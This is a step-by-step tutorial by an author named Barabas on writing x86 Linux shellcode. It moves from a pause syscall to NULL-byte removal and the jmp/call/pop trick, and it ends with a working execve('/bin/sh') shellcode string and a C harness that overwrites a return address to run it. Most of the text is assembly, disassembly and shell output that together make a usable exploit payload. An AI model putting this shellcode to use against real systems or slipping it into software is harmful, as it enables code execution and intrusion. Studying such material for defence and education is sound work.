PRACTICAL LINUX SHELLCODE
An introduction – By Barabas

The next pages will show how to write a simple shellcode in Linux. It is loosely based on stuff I found on the net and shows step by step how we get basic linux shellcode.

We want to write a shellcode, don't we. But let's start with something easier, a simple system call.

PART 1. A simple syscall: Pause.

All system calls can be found in the header file unistd.h, so let's look for it:

```
 (none):/home/barabas# find / -name unistd.h
/usr/include/sys/unistd.h
/usr/include/unistd.h
/usr/include/linux/unistd.h
/usr/include/asm/unistd.h
(none):/home/barabas#
```

We want asm code, so we look in /usr/include/asm/unistd.h
Let's have a look:

```
(none):/usr/include# more /usr/include/asm/unistd.h
#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_

/*
 * This file contains the system call numbers.
 */

#define __NR_exit                1
#define __NR_fork                2
#define __NR_read                3
#define __NR_write               4
#define __NR_open                5
#define __NR_close               6
#define __NR_waitpid             7
#define __NR_creat               8
#define __NR_link                9

….etc
```

Now, what shall we do?

Let's use the syscall for pause: 29

So, we create a little program that executes this syscall (make a file with this content and name it pause.asm):

```
SEGMENT .text
  mov eax, 29
  int 80h
```

Actually what this does is simple: it stores the value 29, which is the syscall nr for pause, in a register (eax) and then executes it (int 80h = interrupt)

Let's see if it works:

```
(none):~# more pause.asm
SEGMENT .text
  mov eax, 29
  int 80h
(none):~# nasm -felf pause.asm
(none):~# gcc pause.o -o pause -nostartfiles -nostdlib
/usr/bin/ld: warning: cannot find entry symbol _start; defaulting to
08048080
(none):~# ls
pause  pause.asm  pause.o
(none):~# ./pause

(none):~#
```

Cool! We made a little program that pauses.
Now, how do we make shellcode out of it?

```
(none):~# objdump -d pause

pause:     file format elf32-i386

Disassembly of section .text:

08048080 <.text>:
 8048080:       b8 1d 00 00 00          mov    $0x1d,%eax
 8048085:       cd 80                   int    $0x80
(none):~#
```

What do you know…it's shellcode:

\xb8\x1d\x00\x00\x00\xcd\x80

Let's see if it works by putting it in a C program:

```
(none):~# more pause.c
const char pause_shell[]="\xb8\x1d\x00\x00\x00\xcd\x80";

    main(){
      int (*shell)();
      shell=pause_shell;
      shell();
    }

(none):~# gcc pause.c -o pause
pause.c: In function `main':
pause.c:5: warning: assignment from incompatible pointer type
(none):~# ./pause

(none):~#
```

It works. But we have a little problem. There's a golden rule: Shellcode cannot contain NULL bytes (\x00) – because it would just terminate - and ours contains several. So what we gonna do?

Let's take a look at our shellcode again:

```
8048080:       b8 1d 00 00 00          mov    $0x1d,%eax
8048085:       cd 80                   int    $0x80
```

As we can see, it's the mov instruction that contains NULL bytes. How come? Well, eax is 32 bit, and we write one 8bit value into it, so that means that 24 bits are left empty and 0's will be written into them.

There's several ways to get rid of NULL bytes. One of the tricks is to write to the AL register, which is a 8bit register, residing in EAX. And first we need to zero off EAX, doing a XOR (which doesn't contain 0 bytes).

```
(none):~# more pause.asm
SEGMENT .text
 xor eax, eax
 mov al, 29
 int 80h
(none):~# nasm -felf pause.asm
(none):~# gcc pause.o -o pause -nostartfiles -nostdlib
/usr/bin/ld: warning: cannot find entry symbol _start; defaulting to
08048080
(none):~# ./pause

(none):~# objdump -d pause

pause:     file format elf32-i386

Disassembly of section .text:

08048080 <.text>:
 8048080:       31 c0                   xor    %eax,%eax
 8048082:       b0 1d                   mov    $0x1d,%al
 8048084:       cd 80                   int    $0x80
(none):~#
```

And no more NULL bytes… Let's just change our pause.c file to be sure:

```
(none):~# more pause.c
const char pause_shell[]="\x31\xc0\xb0\x1d\xcd\x80";

    main(){
      int (*shell)();
      shell=pause_shell;
      shell();
    }

(none):~# gcc pause.c -o pause
pause.c: In function `main':
pause.c:5: warning: assignment from incompatible pointer type
(none):~# ./pause

(none):~#
```

PART 2. A real shell

Ok, now let's try to write a real shellcode, meaning: a shell ☺
If we look in the unistd.h file, we don't see a /bin/sh…

Mmmm… what do we do now? Well, we write the shortest C program possible to have a shell and then we'll disassemble it.

```
 (none):~# more shellcode.c
#include <stdio.h>

int main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
(none):~# gcc shellcode.c -o shellcode
(none):~# ./shellcode
sh-2.05a#
```

So what does this program actually do, it's just a call to execve, which is basically a C function that executes programs. So, we disassemble it. But first we need to compile it statically:

(none):~# gcc shellcode.c -o shellcode –static

And then we fire up gdb, our linux debugger, and we disassemble our program.

```
(none):~# gdb shellcode
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i386-linux"...(no debugging symbols
found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x80481c0 <main>:       push   %ebp
0x80481c1 <main+1>:     mov    %esp,%ebp
0x80481c3 <main+3>:     sub    $0x18,%esp
0x80481c6 <main+6>:     movl   $0x808b6c8,0xfffffff8(%ebp)
0x80481cd <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x80481d4 <main+20>:    add    $0xfffffffc,%esp
0x80481d7 <main+23>:    push   $0x0
0x80481d9 <main+25>:    lea    0xfffffff8(%ebp),%eax
0x80481dc <main+28>:    push   %eax
0x80481dd <main+29>:    mov    0xfffffff8(%ebp),%eax
```

```
0x80481e0 <main+32>:    push   %eax
0x80481e1 <main+33>:    call   0x804bf90 <execve>
0x80481e6 <main+38>:    add    $0x10,%esp
0x80481e9 <main+41>:    leave
0x80481ea <main+42>:    ret
0x80481eb <main+43>:    nop
0x80481ec <main+44>:    nop
0x80481ed <main+45>:    nop
0x80481ee <main+46>:    nop
0x80481ef <main+47>:    nop
End of assembler dump.
(gdb)
```

So, what's it doing: First 3 lines is the "prologue", this is always the same: the stack is being prepared.

```
push   %ebp             : push base pointer on stack
mov    %esp,%ebp        : base pointer and stack pointer are same atm
sub    $0x18,%esp       :

we reserve 24 bytes (18 in hex)on the

movl   $0x808b6c8,0xfffffff8(%ebp)
movl   $0x0,0xfffffffc(%ebp)
```

Here we put something on the stack: `$0x808b6c8`. Lets see what it is:

```
(gdb) printf "%s\n", 0x808b6c8
/bin/sh
(gdb)
```

and then NULL

these two lines are equivalent of :

```
name[0] = "/bin/sh";
name[1] = NULL;
```

Next:

```
add    $0xfffffffc,%esp
push   $0x0
lea    0xfffffff8(%ebp),%eax
push   %eax
mov    0xfffffff8(%ebp),%eax
push   %eax
```

Basically, we just put everything on the stack here.
Next:

```
call   0x804bf90 <execve>
add    $0x10,%esp
leave
ret
```

We call execve and exit.

Let's see what's in the execve function:

```
(gdb) disassemble execve
Dump of assembler code for function execve:
0x804bf90 <execve>:     push   %ebp
0x804bf91 <execve+1>:   mov    %esp,%ebp
0x804bf93 <execve+3>:   sub    $0x10,%esp
0x804bf96 <execve+6>:   push   %edi
0x804bf97 <execve+7>:   push   %ebx
0x804bf98 <execve+8>:   mov    0x8(%ebp),%edi
0x804bf9b <execve+11>:  mov    $0x0,%eax
0x804bfa0 <execve+16>:  test   %eax,%eax
0x804bfa2 <execve+18>:  je     0x804bfa9 <execve+25>
0x804bfa4 <execve+20>:  call   0x0
0x804bfa9 <execve+25>:  mov    0xc(%ebp),%ecx
0x804bfac <execve+28>:  mov    0x10(%ebp),%edx
0x804bfaf <execve+31>:  push   %ebx
0x804bfb0 <execve+32>:  mov    %edi,%ebx
0x804bfb2 <execve+34>:  mov    $0xb,%eax
0x804bfb7 <execve+39>:  int    $0x80
0x804bfb9 <execve+41>:  pop    %ebx
0x804bfba <execve+42>:  mov    %eax,%ebx
0x804bfbc <execve+44>:  cmp    $0xfffff000,%ebx
0x804bfc2 <execve+50>:  jbe    0x804bfd2 <execve+66>
0x804bfc4 <execve+52>:  call   0x8048380 <__errno_location>
0x804bfc9 <execve+57>:  neg    %ebx
0x804bfcb <execve+59>:  mov    %ebx,(%eax)
0x804bfcd <execve+61>:  mov    $0xffffffff,%ebx
0x804bfd2 <execve+66>:  mov    %ebx,%eax
0x804bfd4 <execve+68>:  pop    %ebx
0x804bfd5 <execve+69>:  pop    %edi
0x804bfd6 <execve+70>:  leave
0x804bfd7 <execve+71>:  ret
End of assembler dump.
```

Wow, what's all this shit?

We won't go into details, but what basically happens is this: all things on the stack are copied into registers and fed to our syscall:

```
0x804bfb2 <execve+34>:  mov    $0xb,%eax
0x804bfb7 <execve+39>:  int    $0x80
```

So, we copy 0xb into EAX before or syscall. 0xb = Hex value 11. Let's look in our syscall file:

```
(none):~# cat /usr/include/asm/unistd.h | grep 11
#define __NR_execve             11
```

What a coincidence ;)

The registers used by syscall (EAX,ABX,ECX,EDX) are:

```
0x804bf98 <execve+8>:   mov    0x8(%ebp),%edi
0x804bfb0 <execve+32>:  mov    %edi,%ebx
0x804bfa9 <execve+25>:  mov    0xc(%ebp),%ecx
0x804bfac <execve+28>:  mov    0x10(%ebp),%edx
```

```
0x804bfb2 <execve+34>:  mov    $0xb,%eax
```

the %ebx register holds the string address representing the command to execute, "/bin/sh" in our example (0x804bf98 : mov 0x8(%ebp),%edi followed by 0x804bfb0: mov %edi,%ebx) ;

the %ecx register holds the address of the argument array (0x804bfa9: mov 0xc(%ebp),%ecx). The first argument must be the program name and we need nothing else : an array holding the string address "/bin/sh" and a NULL pointer will be enough;

the %edx register holds the array address representing the program to launch the environment (0x804bfac : mov 0x10(%ebp),%edx). To keep our program simple, we'll use an empty environment : that is a NULL pointer will do the trick.

And finally we need to exit as well: Otherwise if call to execve fails, things can get ugly

```
none):~# more /usr/include/asm/unistd.h | grep exit
#define __NR_exit                 1
 * would use the stack upon exit from 'fork()'.
#define __NR__exit __NR_exit
static inline _syscall1(int,_exit,int,exitcode)
```

We see that exit is syscall nr 1 and only needs the syscall nr and an exitcode – let's pick 0- , both as integer values.

So actually we need this:

```
movl   $0x1, %eax
movl   $0x0, %ebx
int    $0x80
```

syscall nr 1 in eax, exitcode 0 in ebx and interrupt.

So putting everything together:

```
a) Have the null terminated string "/bin/sh" somewhere in memory.
b) Have the address of the array : string "/bin/sh" followed by a
null long word, somewhere in memory
c) Copy 0xb into the EAX register.
d) Copy the address of the address of the string "/bin/sh" into the
EBX register.
e) Copy the address of the string "/bin/sh" into the ECX register.
f) Copy the address of the null long word into the EDX register.
g) Execute the int $0x80 instruction.
h) Copy 0x1 into the EAX register.
i) Copy 0x0 into the EBX register.
j) Execute the int $0x80 instruction.
```

So, the only problem we have now is a) en b). How the hell do we get the address of /bin/sh and what follows?

For this we need to use a little trick:

When calling a subroutine with the call instruction, the CPU stores the return address in the stack, that is the address immediately following this call instruction. Usually, the next step is to store the stack state (especially the %ebp register with the push %ebp instruction). To get the return address when entering the subroutine, it's enough to unstack with the pop instruction. Of course, we then store our "/bin/sh" string immediately after the call instruction to allow our "home made prologue" to provide us with the required string address. That is :

```
beginning_of_shellcode:
    jmp subroutine_call

 subroutine:
    popl %esi
    ...
    (Shellcode itself)
    ...
 subroutine_call:
    call subroutine
    /bin/sh
```

Of course, the subroutine is not a real one: either the execve() call succeeds, and the process is replaced with a shell, or it fails and the _exit() function ends the program. The %esi register gives us the "/bin/sh" string address. Then, it's enough to build the array putting it just after the string : its first item (at %esi+8, /bin/sh length + a null byte) holds the value of the %esi register, and its second at %esi+12 a null address (32 bit). The code will look like :

```
    popl %esi
    movl %esi, 0x8(%esi)
    movl $0x00, 0xc(%esi)
```

So, let's repeat, cause this is not the most trivial part of this exercise: In the beginning of the shellcode we jump to a subroutine at the end (a jump can use relative addressing, so we just need to count the bytes in between). This subroutine contains our /bin/sh so it's initialized in memory (an address : %esi) and calls the rest of our shellcode.

Let's write our program:

```
/* shellcode4.c */

int main()
{
  asm("jmp subroutine_call

subroutine:
    /* Getting /bin/sh address*/
        popl %esi
    /* Writing it as first item in the array */
        movl %esi,0x8(%esi)
    /* Writing NULL as second item in the array */
        xorl %eax,%eax
        movl %eax,0xc(%esi)
```

```
    /* Putting the null byte at the end of the string */
        movb %eax,0x7(%esi)
    /* execve() function */
        movb $0xb,%al
    /* String to execute in %ebx */
        movl %esi, %ebx
    /* Array arguments in %ecx */
        leal 0x8(%esi),%ecx
    /* Array environment in %edx */
        leal 0xc(%esi),%edx
    /* System-call */
        int  $0x80

    /* Null return code */
        xorl %ebx,%ebx
    /*  _exit() function : %eax = 1 */
        movl %ebx,%eax
        inc  %eax
    /* System-call */
        int  $0x80

subroutine_call:
        call subroutine
        .string \"/bin/sh\"
      ");
}


(none):~# gcc -o shellcode2 shellcode2.c

/tmp/cceiPB3t.s: Assembler messages:

/tmp/cceiPB3t.s:23: Warning: using `%al' instead of `%eax' due to `b'
suffix
```

Then we do an objdump, but we only look at the functions we need (there's some other junk there too:

```
(none):~# (none):~# objdump --disassemble shellcode2

080483c0 <main>:
 80483c0:       55                      push   %ebp
 80483c1:       89 e5                   mov    %esp,%ebp
 80483c3:       eb 1f                   jmp    80483e4
<subroutinecall>

080483c5 <subroutine>:
 80483c5:       5e                      pop    %esi
 80483c6:       89 76 08                mov    %esi,0x8(%esi)
 80483c9:       31 c0                   xor    %eax,%eax
 80483cb:       89 46 0c                mov    %eax,0xc(%esi)
 80483ce:       88 46 07                mov    %al,0x7(%esi)
 80483d1:       b0 0b                   mov    $0xb,%al
 80483d3:       89 f3                   mov    %esi,%ebx
 80483d5:       8d 4e 08                lea    0x8(%esi),%ecx
 80483d8:       8d 56 0c                lea    0xc(%esi),%edx
 80483db:       cd 80                   int    $0x80
 80483dd:       31 db                   xor    %ebx,%ebx
 80483df:       89 d8                   mov    %ebx,%eax
```

```
 80483e1:       40                      inc    %eax
 80483e2:       cd 80                   int    $0x80

080483e4 <subroutinecall>:
 80483e4:       e8 dc ff ff ff          call   80483c5 <subroutine>
 80483e9:       2f                      das
 80483ea:       62 69 6e                bound  %ebp,0x6e(%ecx)
 80483ed:       2f                      das
 80483ee:       73 68                   jae    8048458
<_IO_stdin_used+0x8>
 80483f0:       00 c9                   add    %cl,%cl
 80483f2:       c3                      ret
 80483f3:       90                      nop
 80483f4:       90                      nop
 80483f5:       90                      nop
 80483f6:       90                      nop
 80483f7:       90                      nop
 80483f8:       90                      nop
 80483f9:       90                      nop
 80483fa:       90                      nop
 80483fb:       90                      nop
 80483fc:       90                      nop
 80483fd:       90                      nop
 80483fe:       90                      nop
 80483ff:       90                      nop
```

The data found after the 80483e9 address doesn't represent instructions, but the "/bin/sh" string characters (in hex, the sequence 2f 62 69 6e 2f 73 68 00) and random bytes. The code doesn't hold any zeros, except the null character at the end of the string at 80483f0.

Now, let's test our program :

```
(none):~# ./shellcode2

Segmentation fault
```

DAMN. What's the problem? The memory area where the main() function is found is read-only. The shellcode can not modify it. What can we do now, to test our shellcode?

To get round the read-only problem, the shellcode must be put in a data area. Let's put it in an array declared as a global variable. We must use another trick to be able to execute the shellcode. Let's replace the main() function return address found in the stack with the address of the array holding the shellcode. Don't forget that the main function is a "standard" routine, called by pieces of code that the linker added. The return address is overwritten when writing the array of characters two places below the stacks first position.

```
(none):~# more shellcode3.c
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

```
  int main()
  {
      int * ret;

      /* +2 will behave as a 2 words offset */
      /* (i.e. 8 bytes) to the top of the stack : */
      /*   - the first one for the reserved word for the
             local variable */
      /*   - the second one for the saved %ebp register */

      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }

(none):~# ./shellcode3
sh-2.05a#
```

It works and there’s no NULL bytes in it.